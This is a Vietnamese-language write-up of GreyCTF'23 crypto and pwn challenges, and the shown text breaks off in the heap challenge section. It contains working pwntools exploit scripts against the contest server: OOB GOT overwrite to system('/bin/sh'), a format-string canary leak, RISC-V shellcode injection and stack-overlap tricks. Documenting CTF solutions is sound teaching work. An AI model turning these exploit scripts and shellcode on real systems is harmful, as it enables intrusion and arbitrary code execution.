# (writeup) GREYCTF'23 --- ## CRYPTO ### ENCRYPTSERVICE <img width="377" alt="image" src="https://github.com/trananhnhatviet/GrepCTF/assets/92376163/28188025-418e-4ae0-99b8-1406b2a63338"> - Chall đưa ta 1 source code như sau: ```python import os from Crypto.Cipher import AES from hashlib import sha256 FLAG = "grey{fake_flag_please_change_this}" assert(len(FLAG) == 40) secret_key = os.urandom(16) def encrypt(plaintext, iv): hsh = sha256(iv).digest()[:8] cipher = AES.new(secret_key, AES.MODE_CTR, nonce=hsh) ciphertext = cipher.encrypt(plaintext) return ciphertext.hex() print("AES is super safe. You have no way to guess my key anyways!!") print("My encryption service is very generous. Indeed, so generous that we will encrypt any plaintext you desire many times") try: plaintext = bytes.fromhex(input("Enter some plaintext (in hex format): ")) except ValueError: print("We are incredibly generous, yet you display such selfishness by failing to provide a proper hex string") exit(0) for i in range(256): ciphertext = encrypt(plaintext, i.to_bytes(1, 'big')) print(f"Ciphertext {i}: {ciphertext}") print() print("We will reward a lot of money for the person that can decipher this encrypted message :)") print("It's impossible to decipher anyways, but here you go: ") print("Flag: ", encrypt(FLAG.encode("ascii"), os.urandom(1))) ``` - Tức là khi ta nhập 1 đoạn plaintext, ta sẽ thu được 255 đoạn ciphertext mã hóa bằng mode CTR với random key và nonce là hash sha256 của các số từ 0 đến 255 - Ta thấy được điểm yếu của stream cipher chính là mã hóa các plaintext giống nhau thì sẽ cho ra các ciphertext giống nhau, tức là khi ta mã hóa ``nhatzietdeptrai`` và ``nhatzietcutequa`` thì sẽ có 1 phần ciphertext giống nhau - Đoạn code chứng minh như sau: ```python import os from Crypto.Cipher import AES from hashlib import sha256 secret_key = b'1234567812345678' def encrypt(plaintext, iv): hsh = sha256(iv).digest()[:8] cipher = AES.new(secret_key, AES.MODE_CTR, nonce=hsh) ciphertext = cipher.encrypt(plaintext) return ciphertext.hex() iv = (100).to_bytes(1, 'big') # Lấy như trong chall plain_1 = b'nhatzietdeptrai' plain_2 = b'nhatzietcutequa' print(encrypt(plain_1,iv)) print(encrypt(plain_2,iv)) # 0d8a6c3acf6b222660dfd9a981523a # 0d8a6c3acf6b222667cfddb8824632 ``` - Giờ ta sẽ brute-force từng ký tự của flag - Thế nhưng, flag lấy iv là random từ 0 đến 255, vì thế, ta cần lấy hết các ciphertext từ 0-255 và so sánh với flag, nếu có 1 ciphertext giống thì có nghĩa là ký tự đó được chọn - Đoạn code sẽ như sau: ```python from string import printable from pwn import* pr = ['1', '0', 'r', '3', '4', '5', '_', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', '2', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '6', '`', '{', '|', '}', '~', ' ', '\t', '\n', '\r', '\x0b', '\x0c'] def run(flag): for char in pr: lst = [] io = remote('34.124.157.94', 10590) io.recvuntil(b': ') data = flag data = data + char a = (data.encode("ascii").hex()) io.sendline((a).encode()) for j in range(256): x = (io.recvuntil(b': ',drop=True).decode()) x = x[:len(data)*2] lst.append(x) io.recvuntil(b'Flag: ') received = (io.recvuntil(b'\n',drop=True).decode()) for i in lst: if i in received: flag = flag + char return flag flag = 'grey{' for i in range(39): flag = (run(flag)) print(flag) print(flag) ``` > Flag: grey{0h_m4n_57r34m_c1ph3r_n07_50_53cur3} --- ### ENCRYPTSERVICE_2 ![image](https://github.com/trananhnhatviet/GrepCTF/assets/92376163/53dc9af3-cf45-4633-af7e-3c1448c46876) - Ta thấy rằng, khi ``Flag ⊕ Key(iv) = Ciphertext``, và khi ta thử nhập các byte b'\x00', ta sẽ được Key(iv), và lấy Ciphertext ⊕ Key(iv), ta sẽ được flag của bài <img width="678" alt="image" src="https://github.com/trananhnhatviet/GrepCTF/assets/92376163/a6f129f8-8e9d-4c17-8c39-80fbd4c219dd"> <img width="541" alt="image" src="https://github.com/trananhnhatviet/GrepCTF/assets/92376163/752968cb-bb50-4609-843c-81422f59b7bc"> - Bây giờ, ta thu được các Key(iv) chính là các ciphertext với iv trong khoảng [0,255], ta sẽ dùng format của flag để tìm được ciphertext tương ứng ``` flag = '0abc55b4c66c83fc44a2d454e22277723f313719cb0fc5531082238f9e7c15ef24cb0cc30149ad20' print(xor(b'grey{',bytes.fromhex(flag)).hex()) #Output: 6dce30cdbd0bf1993dd9b326875b0c154d544e62ac7da02a6be551eae707729d41b277a4732cd45b ``` - Ta tìm được 5 byte đầu của Key(iv) là ``6dce30cdbd`` --> Tìm được key(iv) tương ứng <img width="581" alt="image" src="https://github.com/trananhnhatviet/GrepCTF/assets/92376163/aba1b40d-5a27-4163-9936-403b62ffc33a"> - Flag sẽ là key(iv) ⊕ flag_encrypted ``` flag = '0abc55b4c66c83fc44a2d454e22277723f313719cb0fc5531082238f9e7c15ef24cb0cc30149ad20' print(xor(bytes.fromhex('6dce30cdbd5ceba32996ba0bd71505410b5c687afa7fad6062dd4dbfa92320df7bfe3fa0743b9e5d'),bytes.fromhex(flag))) ``` --- ### THE VAULT <img width="375" alt="image" src="https://github.com/trananhnhatviet/GrepCTF/assets/92376163/b51581dc-3f92-402a-bcb8-10d49135a169"> - Đoạn code của chall như sau: ```python from hashlib import sha256 from Crypto.Util.number import long_to_bytes from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from math import log10 FLAG = "grey{fake_flag}" n = pow(10, 128) def check_keys(a, b): if a % 10 == 0: return False # Check if pow(a, b) > n if b * log10(a) > 128: return True return False def encryption(key, plaintext): iv = "Greyhats".encode() cipher = AES.new(key, AES.MODE_CTR, nonce = iv) return cipher.encrypt(plaintext) print("Welcome back, NUS Dean. Please type in the authentication codes to open the vault! \n") a = int(input("Enter the first code: ")) b = int(input("Enter the second code: ")) if not check_keys(a, b): print("Nice try thief! The security are on the way.") exit(0) print("Performing thief checks...\n") thief_check = get_random_bytes(16) # Highly secure double encryption checking system. The thieves stand no chance! x = pow(a, b, n) first_key = sha256(long_to_bytes(x)).digest() second_key = sha256(long_to_bytes(pow(x, 10, n))).digest() if thief_check == encryption(first_key, encryption(second_key, thief_check)): print("Vault is opened.") print(FLAG) else: print("Stealing attempts detected! Initializing lockdown") ``` - Ta nhìn thấy rằng, có 1 điều kiện: ```python first_key = sha256(long_to_bytes(x)).digest() second_key = sha256(long_to_bytes(pow(x, 10, n))).digest() if thief_check == encryption(first_key, encryption(second_key, thief_check)) --> cho ta flag ``` - Ta thấy rằng chế độ CTR có 1 tính chất như sau: ``encrypt(key,encrypt(key,plaintext)) = plaintext`` - Bạn có thể thử bằng đoạn code sau đây: ```python from hashlib import * from Crypto.Cipher import AES def encryption(key, plaintext): iv = "Greyhats".encode() cipher = AES.new(key, AES.MODE_CTR, nonce = iv) return cipher.encrypt(plaintext) first_key = b'1234567812345678' print(encryption(first_key,encryption(first_key,b'hello'))) # Output: b'hello' ``` - Từ đó ta thấy để đạt được điều kiện trên, ta cần phải cho first_key và second_key bằng nhau, tức là phải chọn x sao cho ``x = pow(x,10,n)`` và để thỏa mãn điều kiện này, ``x = 1`` - Tức là ``pow(a,b,n) = 1``, ta sẽ dựa vào định lý [Euler](https://en.wikipedia.org/wiki/Euler%27s_theorem) để chọn ra 2 số a và b - Định lý cho ta thấy rằng <img width="114" alt="image" src="https://github.com/trananhnhatviet/GrepCTF/assets/92376163/28fca716-2efa-4692-995a-9312dee9eec7"> tức là ta sẽ chọn a là 1 số sao cho có ước chung với n là 1 và b chính là phi(n) - Ta cần tính phi(n) bằng cách - Tách n thành các số nguyên tố ![image](https://github.com/trananhnhatviet/GrepCTF/assets/92376163/9c55e644-8490-449c-9d30-277bb5287989) - Sau đó, ta tính phi(n) theo cách này: <img width="253" alt="image" src="https://github.com/trananhnhatviet/GrepCTF/assets/92376163/f10aee96-6591-4150-9b38-d14ac4ea712f"> - Qua đó, ta sẽ chọn ``a = 13`` và ``b = phi(n) = 40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000`` - Nhập vào server và lấy flag thui :v <img width="862" alt="image" src="https://github.com/trananhnhatviet/GrepCTF/assets/92376163/2d927ca5-b580-4c97-8b03-bcf95678109f"> >Flag:grey{th3_4n5w3R_T0_Th3_3x4M_4nD_3v3ry7H1N6_1s_42} --- ### GreyCat Trial <img width="379" alt="image" src="https://github.com/trananhnhatviet/GrepCTF/assets/92376163/04c61211-e59d-4417-85c5-5fa6801740da"> - Source code của chall như sau: ```python from random import randint FLAG = "grey{fake_flag}" print("Lo and behold! The GreyCat Wizard, residing within the Green Tower of PrimeLand, is a wizard of unparalleled prowess") print("The GreyCat wizard hath forged an oracle of equal potency") print("The oracle hath the power to bestow upon thee any knowledge that exists in the world") print("Gather the requisite elements to triumph over the three trials, noble wizard.") print() a = int(input("The first element: ")) b = int(input("The second element: ")) print() all_seeing_number = 23456789 # FIRST TRIAL if b <= 0: print("Verily, those who would cheat possess not the might of true wizards.") exit(0) if pow(all_seeing_number, a - 1, a) != 1: print("Alas, thy weakness hath led to defeat in the very first trial.") exit(0) # SECOND TRIAL trial_numbers = [randint(0, 26) for i in range(26)] for number in trial_numbers: c = a + b * number if pow(all_seeing_number, c - 1, c) != 1 --> c là số nguyên tố: print("Thou art not yet strong enough, and thus hast been vanquished in the second trial") exit(0) # THIRD TRIAL d = a + b * max(trial_numbers) if (d.bit_length() < 55): print("Truly, thou art the paramount wizard. As a reward, we present thee with this boon:") print(FLAG) else: print("Thou art nigh, but thy power falters still.") ``` - Ta thấy rằng, ở First Trial và Second Trial có 2 dòng ``` pow(all_seeing_number, a - 1, a) != 1 thì exit --> a là số nguyên tố pow(all_seeing_number, c - 1, c) != 1 thì exit --> c là số nguyên tố ``` - Có nghĩa giờ ta sẽ phải tìm 2 số a và b sao cho ``c = a + b*random_number(26)`` - Giờ ta chọn a và b thui - Nếu muốn nhanh thì vào http://primerecords.dk/aprecords.htm tìm và ta sẽ tìm được 2 số ``a = 3486107472997423 `` và ``b = 371891575525470`` không thì chọn các số cơ bản như ``a = 13 và b = 4`` cũng được <img width="677" alt="image" src="https://github.com/trananhnhatviet/Shark_CTF_Crypto/assets/92376163/73b28870-beb1-46a0-bd0d-cafef2aa2d22"> > Flag: grey{Gr33N-tA0_The0ReM_w1z4rd} --- ## PWN ### BABY PWN - scoucer C: ```c #include <stdio.h> int main() { int accountBalance = 100, tmp; long int withdrawalAmount; short option; printf("==== Secure Banking System ====\n"); printf("Welcome to the banking system.\nEarn $1000 to get the flag!\n\n"); while (accountBalance < 1000) { printf("1. Check account balance\n"); printf("2. Withdraw money\n"); printf("3. Deposit money\n"); printf("4. Exit\n\n"); printf("Enter your option:\n"); scanf("%hu", &option); switch (option) { case 1: printf("Your account balance is: $%d\n", accountBalance); break; case 2: { printf("Enter the amount to withdraw: "); scanf("%ld", &withdrawalAmount); tmp = accountBalance - withdrawalAmount; if (tmp < 0) { printf("You cannot withdraw more than your account balance.\n"); continue; } accountBalance = tmp; printf("Withdrawal successful. New account balance: $%d\n", accountBalance); break; } case 3: printf("Deposit is still work in progress.\n"); break; case 4: printf("Thank you for banking with us.\n"); return 0; default: { printf("Invalid option.\n"); break; } } } printf("\nCongratulations! You have reached the required account balance ($%d).\n", accountBalance); printf("The flag is: grey{fake_flag}\n"); return 0; } ``` - khá khó chịu ta - phân tích xíu thì ta thấy để in flag vào thì ta cần thoát khỏi hàm **while()**, đồng nghĩa với việc **accountBalance < 1000** - file cho sẵn **accountBalance = 100**, ta chỉ cần cộng vào 900 là được - để ý ở option 2 thì ta có tùy ý thay đổi giá trị accountBalance nên ta chỉ cần nhập vào -900 là được ![](https://hackmd.io/_uploads/SJJAr6DHn.png) > flag: grey{b4by_pwn_df831aa280e25ed6c3d70653b8f165b7} --- ### EASY PWN - scource C: ![](https://hackmd.io/_uploads/Sky9ITPS3.png) - bài này ret2win siêu cơ bản nên mình chỉ giải thích sơ là **8byte cho biến str, 8byte cho rbp rồi rip trỏ đến hàm win là lấy flag** - script: ![](https://hackmd.io/_uploads/BJDNPawBh.png) > Flag: grey{d1d_y0u_run_th3_3x3ut4b1e?_230943209rj03jrr23} --- ### ARRAYSTORE - check file + checksec ![](https://hackmd.io/_uploads/BJpRqfKrn.png) - check ida ```c int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v3; // r15 __int64 v4; // rax __int64 v6[100]; // [rsp+0h] [rbp-3C8h] char s[104]; // [rsp+320h] [rbp-A8h] BYREF unsigned __int64 v8; // [rsp+388h] [rbp-40h] v8 = __readfsqword(0x28u); setbuf(_bss_start, 0LL); setbuf(stdin, 0LL); setbuf(stderr, 0LL); puts("Your array has 100 entries"); while ( 1 ) { while ( 1 ) { printf("Read/Write?: "); fgets(s, 100, stdin); if ( s[0] != 'R' ) break; printf("Index: "); fgets(s, 100, stdin); v4 = strtoll(s, 0LL, 10); if ( v4 > 99 ) LABEL_6: puts("Invalid index"); else printf("Value: %lld\n", v6[v4]); } if ( s[0] != 'W' ) break; printf("Index: "); fgets(s, 100, stdin); v3 = strtoll(s, 0LL, 10); if ( v3 > 99 ) goto LABEL_6; printf("Value: "); fgets(s, 100, stdin); v6[v3] = strtoll(s, 0LL, 10); } puts("Invalid option"); if ( v8 != __readfsqword(0x28u) ) start(); return 0; } ``` - chương trình sẽ có 2 chức năng, 'R' là Read(đọc), 'W' là Write(viết) - được 100 vị trí nhớ (nếu mình 'W' gì đó vào 1 trong 100 chỗ nhớ) - lỗi OOB ở đây (truy cập ngoài mảng) ![](https://hackmd.io/_uploads/B1jbnzYB2.png) - nảy sinh nghi ngờ: nếu 'R' vào 1 cái Index nhỏ hơn 0 thì sao? ![](https://hackmd.io/_uploads/BJCm3GtS2.png) - chương trình sẽ in ra 1 Value đáng khả nghi, ta sẽ leak thử coi nó là địa chỉ gì - thì tại 'Index = -7' được so sánh DEBUG động là 1 cái stack, tại 'Index = -4' là 1 cái địa chỉ binary (leak đc cả địa chỉ ld nhưng bài này k cần đến nó nên thôi) - hmm, k hàm get_shell, k hàm win ---> ret2libc - ta cần leak địa chỉ libc base - thì ta sẽ dựa vào cái lỗi OOB để leak tại vị trí có libc - ta kiểm tra stack của ta: ![](https://hackmd.io/_uploads/SJ6rRzKr2.png) > stack nằm vùng cao hơn - tính offset: ```gef gef➤ p/d 0x007ffc901f4ef0 - 0x007ffc901f4bd0 $1 = 800 ``` - nhập vào Index cần số âm nên sẽ chọn Index của **puts@GOT**, và vì địa chỉ trừ địa chỉ nên ta cần chia cho '-8' (1 phần để cho Index là số âm, 1 phần là để thoả mãn Index là kiểu int) ```python magic = (stack_leak - 800 - exe.got['puts'])//-8 ``` - vậy ta đã leak dc libc - bước cuối ta cần đưa '/bin/sh' và **system()** vào - idea: sẽ chọn option 'W' để ghi Value **system()** vào 1 Index GOT của hàm nào đó, để khi chạy tới hàm đó sẽ thực thi PLT tại hàm đó và có shell - thì ban đầu chọn tiếp GOT của puts nhưng ta cần chạy tới **puts** ở đây ```c printf("Index: "); fgets(s, 100, stdin); v4 = strtoll(s, 0LL, 10); if ( v4 > 99 ) LABEL_6: puts("Invalid index"); //ngay đây nè else printf("Value: %lld\n", v6[v4]); } ``` - tức là Index của mình phải chọn số lớn hơn 99 mới có thể đi tiếp hàm **puts@PLT** (khá là khó) - ta chuyển qua **strtoll@GOT** ![](https://hackmd.io/_uploads/Sk6S-7FS3.png) - ghi **strtoll@GOT** xong ta 1 lần nữa chọn option 'R' để truyền Index là '/bin/sh', tới hàm **strtoll** là có shell ngay ![](https://hackmd.io/_uploads/HJLuaGYBn.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./arraystore_patched',checksec=False) libc = ELF('./libc6_2.35-0ubuntu3.1_amd64.so',checksec=False) #p = process(exe.path) p = remote('34.124.157.94',10546) # gdb.attach(p, gdbscript=''' # b*main+153 # b*main+207 # b*main+261 # b*main+337 # c # ''') # input() ################## ### leak stack ### ################## p.sendlineafter(b'?: ',b'R') p.sendlineafter(b'Index: ',b'-7') p.recvuntil(b'Value: ') stack_leak = int(p.recvline()[:-1],10) log.info("stack leak: " + hex(stack_leak)) ################# ### leak exe ### ################# p.sendlineafter(b'?: ',b'R') p.sendlineafter(b'Index: ',b'-4') p.recvuntil(b'Value: ') exe_leak = int(p.recvline()[:-1],10) log.info("exe leak: " + hex(exe_leak)) exe.address = exe_leak - 0x2050 log.info("exe base: " + hex(exe.address)) ################# ### leak libc ### ################# magic = (int(stack_leak) - 800 - exe.got['puts'])//-8 strtoll = (int(stack_leak) - 800 - exe.got['strtoll'])//-8 log.info("puts_got: " + hex(magic)) log.info("strtoll_got: " + hex(strtoll)) p.sendlineafter(b'?: ',b'R') p.sendlineafter(b'Index: ',str(magic)) p.recvuntil(b"Value: ") libc_leak = int(p.recvline()[:-1],10) log.info("libc leak: " + hex(libc_leak)) libc.address = libc_leak - libc.sym['puts'] log.info("libc base: " + hex(libc.address)) ################# ### get shell ### ################# system = libc.sym['system'] p.sendlineafter(b'?: ',b'W') p.sendlineafter(b'Index: ',str(strtoll)) p.sendlineafter(b'Value: ',str(system)) p.sendlineafter(b'?: ',b'R') p.sendlineafter(b'Index: ',b'/bin/sh\0') p.interactive() #grey{wh0_s41d_1i5_0n1y_100_3ntr1e5?_9384h948rhfp84e3w9rfh984} ``` > Flag: grey{wh0_s41d_1i5_0n1y_100_3ntr1e5?_9384h948rhfp84e3w9rfh984} ### MONKEYTYPE - Source ida ```c int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // eax char ch_0; // [rsp+3h] [rbp-9Dh] int idx; // [rsp+4h] [rbp-9Ch] uint64_t highscore; // [rsp+8h] [rbp-98h] WINDOW *mainwin; // [rsp+10h] [rbp-90h] timespec start; // [rsp+20h] [rbp-80h] BYREF timespec stop; // [rsp+30h] [rbp-70h] BYREF struct timespec remaining; // [rsp+40h] [rbp-60h] BYREF char buf[64]; // [rsp+50h] [rbp-50h] BYREF unsigned __int64 v13; // [rsp+98h] [rbp-8h] v13 = __readfsqword(0x28u); idx = 0; highscore = 0LL; mainwin = init(); memset(buf, 0, sizeof(buf)); update_cursor(0); nodelay(stdscr__NCURSES6_TINFO_5_0_19991023, 1); while ( ch_0 != 113 ) { if ( highscore > 0xFFFFFFFF ) { endwin(); puts("You win! Here's the flag:"); puts("grey{XXXXXXXXXXXXXXX}"); exit(0); } ch_0 = wgetch(stdscr__NCURSES6_TINFO_5_0_19991023); if ( ch_0 != -1 ) { if ( ch_0 == 0x7F ) { update_text(mainwin, buf, --idx); } else if ( ch_0 > 0x1F ) { if ( !idx ) clock_gettime(0, &start); if ( idx <= 0x20 ) { v3 = idx++; buf[v3] = ch_0; update_text(mainwin, buf, idx); } if ( !strcmp(buf, quote) ) { clock_gettime(0, &stop); highscore = get_score(&start, &stop); update_highscore(mainwin, highscore); memset(buf, 0, sizeof(buf)); idx = 0; update_text(mainwin, buf, 0); update_cursor(0); } } } remaining.tv_sec = 0LL; remaining.tv_nsec = 16666666LL; nanosleep(0LL, &remaining); } return 0; } ``` - Ý tưởng - wu tham khảo [link ở đây](https://gerrardtai.com/coding/greyctf#monkeytype) - Đầu tiên, chương trình sẽ cho ta flag khi ``highscore > 0xffffffff`` - Trong vòng lặp ta thấy chương trình đang xử lí các kí tự ta nhập vào, ở đây ```c if ( ch_0 == 0x7F ) { update_text(mainwin, buf, --idx); } ``` - khi `ch_0 == 0x7F` chương trình sẽ giảm idx xuống mà không kiểm tra giá trị idx có lớn hơn 0 không, chức năng update_text sẽ ghi lên stack, vậy ta có lỗi Out-of-bound - Khai thác ```c char buf[64]; // [rsp+50h] [rbp-50h] BYREF uint64_t highscore; // [rsp+8h] [rbp-98h] ``` - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('monkeytype', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('34.124.157.94', 12321) else: p = process(exe.path) GDB() s(b' '*0x48) # 0x98 - 0x50 s(b'A'*5) # output = p.recvall() # print(output[output.index(b'flag:\n'):]) p.interactive() ``` >Flag: grey{I_am_M0JO_J0JO!} --- ### READ ME A BOOK - Source ```c void __fastcall catflag(int a1) { FILE *stream; // [rsp+18h] [rbp-18h] __int64 size; // [rsp+20h] [rbp-10h] void *ptr; // [rsp+28h] [rbp-8h] if ( a1 == 1337 ) { stream = fopen("books/flag.txt", "rb"); } else { if ( a1 > 1337 ) goto LABEL_16; if ( a1 == 4 ) { stream = fopen("books/not_a_flag.txt", "rb"); } else { if ( a1 > 4 ) goto LABEL_16; switch ( a1 ) { case 3: stream = fopen("books/youtiaos_recipe.txt", "rb"); break; case 1: stream = fopen("books/bee_movie.txt", "rb"); break; case 2: stream = fopen("books/star_wars_opening.txt", "rb"); break; default: goto LABEL_16; } } } if ( !stream ) { LABEL_16: puts("We don't have that book!"); return; } fseek(stream, 0LL, 2); size = ftell(stream); ptr = calloc(1uLL, size + 1); fseek(stream, 0LL, 0); fread(ptr, size, 1uLL, stream); puts(" ---------------------------------"); puts("The story goes..."); puts((const char *)ptr); puts(" ---------------------------------"); fclose(stream); free(ptr); } __int64 option1() { int v1[11]; // [rsp+Ch] [rbp-34h] BYREF unsigned __int64 v2; // [rsp+38h] [rbp-8h] v2 = __readfsqword(0x28u); puts("\nWhich book would you like to read?"); puts("1. Bee Movie Script"); puts("2. Star Wars Opening"); puts("3. Recipe to make the best Youtiaos"); puts("4. The Secret to Life"); printf("> "); if ( (unsigned int)__isoc99_scanf("%d", v1) && v1[0] == 1337 ) { puts("\nLibrarian: Hey! This book is not for your eyes!"); handler((int)"\nLibrarian: Hey! This book is not for your eyes!"); } delete(); return (unsigned int)v1[0]; } unsigned __int64 option2() { void *buf; // [rsp+0h] [rbp-40h] unsigned __int64 v2; // [rsp+38h] [rbp-8h] v2 = __readfsqword(0x28u); buf = malloc(0x1000uLL); printf("Leave us your feedback: "); read(0, buf, 0xFFFuLL); puts("Thanks! Our librarians will have a look at your feedback."); dword_402C = 1; free(buf); return v2 - __readfsqword(0x28u); } void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { int v3; // [rsp+0h] [rbp-10h] BYREF int v4; // [rsp+4h] [rbp-Ch] unsigned __int64 v5; // [rsp+8h] [rbp-8h] v5 = __readfsqword(0x28u); sub_159D(a1, a2, a3); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d", &v3); delete(); if ( v3 != 1 ) break; v4 = option1(); catflag(v4); } if ( v3 != 2 ) { puts("Goodbye!"); exit(0); } if ( dword_402C ) puts("You have already given your feedback."); else option2(); } } ``` - Ý tưởng - Bài này lỗi chồng chéo stack - Lỗi ở đây khi debug dừng chỗ ``read(0, buf, 0xFFFuLL);`` của option2 thì ta thấy giá trị trả về của read() là số byte read() đọc được vào rax() (giả sử trường hợp này mình nhập vào 0x538 byte "a" + 1 endline) ![image](https://github.com/wan-hyhty/CTFs_competition/assets/111769169/4018952d-f7b2-400c-9382-a3025879e467) - và câu lệnh asm tiếp theo là `` mov DWORD PTR [rbp-0x34], eax`` đưa số byte này vào `$rbp-0x34` mà ở option1 ta có ` int v1[11]; // [rsp+Ch] [rbp-34h] BYREF` cũng ở `rbp-0x34` đó là lỗi chồng chéo stack. - Khi trở về hàm scanf trong option 1 ta thấy rsi của `v1[0]` đã là 1337, bây giờ chúng ta chỉ cần nhập chữ thì hàm scanf() sẽ không đọc được và không thay đổi 1337. - Khai thác: - Đầu tiên ta chọn option 2 và gửi vào 0x539 byte, sau đó chọn option 1 và gửi vào chữ. - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('chall', checksec=False) context.binary = exe def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) if args.REMOTE: p = remote('34.124.157.94', 12344) else: p = process(exe.path) GDB() sla(b"Option: ", b"2") sa(b": ", b"a" * 0x539) sla(b"Option: ", b"1") sla(b"> ", b"a") p.interactive() ``` ![image](https://github.com/wan-hyhty/CTFs_competition/assets/111769169/515af9c1-8542-45db-a6c5-a17ce5430d5a) >Flag: grey{librarian_f0rg0t_t0_1n1t_s7ack_9a3d5e8} --- ### ROPV - check file + checksec ![](https://hackmd.io/_uploads/SJZuG-aB3.png) > đây là file built với kiến trúc riscv - check ghidra ![](https://hackmd.io/_uploads/BkJ4uA6rh.png) - thông qua ghidra ta thấy có lỗi fmtstr (printf) và BOF (khai báo 8 nhưng read 0x400) ```bash setup ghidra $ sudo apt-get install openjdk-17-jdk $ ./ghidrarun setup cái JDK dẫn vào PATH /usr/lib/jvm/<phienbanjava> ``` - bài này sẽ là ret2shellcode có leak - ta cần tìm canary để bypass - kiến trúc riscv nên gdb gặp khó khăn - nhiều lần ngồi test địa chỉ thì thấy ở %9 xuất hiện địa chỉ khá giống canary ![](https://hackmd.io/_uploads/H1RF_G6Bh.png) - vì PIE tĩnh nên khi leak bằng '%p' luôn xuất hiện địa chỉ này ![](https://hackmd.io/_uploads/ryfxsfTH2.png) > 0x40007ffe80 - và khi sử dụng lệnh 'tel' thử thì ```gef gef➤ tel [!] Unmapped address: '$sp' ``` ![](https://hackmd.io/_uploads/BySCcfTHn.png) > nhân sinh nghi ngờ có thể $sp là $rip trong amd, vậy thì offset của nó là 0xa0 - 0x80 = 32 - tính toán payload: - nếu là 32 thì có 8 byte là save rbp, canary, rip và padding - từ đó suy ra số byte padding là 8 - mà shellcode không thể dài 8 byte đc - shellcode sẽ đặt sau địa chỉ leak ra được (0x80) cộng thêm 32 thành địa chỉ có byte cuối là 0xa0 để ret về địa chỉ 0xa0 ấy rồi thực thi shellcode - shellcode lụm : [link](https://github.com/voydstack/shellcoding/blob/master/risc-v/shell/shell.hex) - setup debug: 1. terminal 1 ``$ qemu-riscv64 -g <port> <binary>`` > với \<port> là số mình tuỳ chọn ---> mở máy chủ host 2. terminal 2 ``$ sudo gdb-multiarch <binary> `` ``gef➤ target remote :<port> `` > ta sẽ debug động với nc là localhost:\<port> (localhost ở đây cho 0 vẫn được) - góc nhỏ: ```bash setup 1 tí về kiến trúc mới $ sudo apt install qemu-system-misc qemu-user-static binfmt-support $ git clone https://git.qemu.org/git/qemu.git $ cd qemu $ ./configure --static --disable-system --target-list=riscv64-linux-user $ make $ sudo cp riscv64-linux-user/qemu-riscv64 /usr/bin/qemu-riscv64-static $ cat >/tmp/qemu-riscv64 <<EOF package qemu-user-static type magic offset 0 magic \x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xf3\x00 mask \xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff interpreter /usr/bin/qemu-riscv64-static EOF $ sudo update-binfmts --import /tmp/qemu-riscv64 ``` ![](https://hackmd.io/_uploads/SySIgmpBn.png) - script: ```python #!/usr/bin/python3 from pwn import * exe = ELF('./ropv',checksec=False) p = process(exe.path) shellcode = b'\x35\xa0\xff\x2f\x62\x69\x6e\x2f\x73\x68\x7d\x54\x83\xa4\x80\xff\xa1\x8c\x23\xac\x90\xfe\x01\x46\x81\x45\x23\x8d\xb0\xfc\x13\x85\x30\xfd\x93\x08\xd0\x0d\x09\xa0\x8c\xff\xff\xff\xef\xf0\xff\xfd' p.sendafter(b'server: ', b'%9$p||%p') canary = int(p.recvuntil(b'||',drop=True), 16) stack = int(p.recvline(), 16) log.info("canary leak: " + hex(canary)) log.info("stack leak: " + hex(stack)) payload = b'A'*8 payload += p64(canary) payload += b'A'*8 payload += p64(stack+32) payload += shellcode p.sendafter(b'server: ', payload) p.interactive() ``` > grey{riscv_risc5_ropv_rop5_b349340j935gj09} --- ### WRITE ME A BOOK - check file + checksec ![](https://hackmd.io/_uploads/rJl9TApSn.png) - check ida ![](https://hackmd.io/_uploads/rJXOC0TSn.png) - [Học Heap cùng Chino Kafuu](https://hackmd.io/@-igYKgCkR_aGfvddJjS3QA/SkBZQ6iBn) - vì file zip có đính kèm theo libc ---> pwninit ![](https://hackmd.io/_uploads/rkx_aRpH2.png) - kiểm tra có cả seccomp nên dùng seccomp-tools kiểm tra nốt file binary ![](https://hackmd.io/_uploads/Sy6ZAR6S2.png) - trong ida, mình sẽ nhập 12 byte vào địa chỉ (&author_signature + 3) - +3 là do có sẵn signature 2128226 = 0x207962 (3byte) - sau đó vào vào **secure_library** ![](https://hackmd.io/_uploads/Sk8FDgCH3.png) >tạo 1 đống chunk do malloc - rồi sẽ vào hàm **write_books** (khai thác chính ở đây) ```c unsigned __int64 write_books() { int v1; // [rsp+0h] [rbp-10h] BYREF int v2; // [rsp+4h] [rbp-Ch] BYREF unsigned __int64 v3; // [rsp+8h] [rbp-8h] v3 = __readfsqword(0x28u); while ( 1 ) { while ( 1 ) { print_menu(); __isoc99_scanf("%d", &v1); getchar(); if ( v1 != 1337 ) break; if ( !secret_msg ) { printf("What is your favourite number? "); __isoc99_scanf("%d", &v2); if ( v2 > 0 && v2 <= 10 && *((_QWORD *)&unk_4040E8 + 2 * v2 - 2) ) printf("You found a secret message: 